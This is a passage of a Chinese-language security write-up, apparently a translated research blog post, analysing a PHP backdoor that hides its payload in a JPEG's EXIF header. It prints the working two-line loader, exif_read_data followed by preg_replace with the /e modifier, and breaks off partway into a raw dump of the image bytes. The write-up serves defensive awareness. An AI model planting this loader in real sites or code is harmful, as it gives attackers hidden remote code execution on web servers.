哎,怎么说呢!对本章第七次,我多次强调一句话的意义是为了大家熟悉网络安全环境,注意防范
几天前,我们研究团队的 Peter Gramantik 在一个被攻破的网站上发现一个非常有趣的后门。这个后门并没有依靠正常模式去隐藏起内容(比如 base64/gzip 编码),但是它却把自己的数据隐藏在 JPEG 图片的 EXIT 头部中了。它也使用 exif_read_data 和 preg_replace 两个 PHP 函数来读取 EXIF 头部和执行。
技术细节
这个后门可分为两部分。第一部分是 exif_read_data 函数读取图片头部,preg_replace 函数来执行内容。下面是我们在被攻破网站上发现的代码:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
这两个函数本身是无害滴。exif_read_data 函数常用来读取图片,preg_replace 函数是替代字符内容。不过,preg_replace 函数函数有个隐藏并微妙的选项,如果你传入 “/e”,它会执行 eval() 中的内容,就不是去查询/替代了。
所以我们在查看 bun.jpg 文件时,发现后门的第二部分:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^&#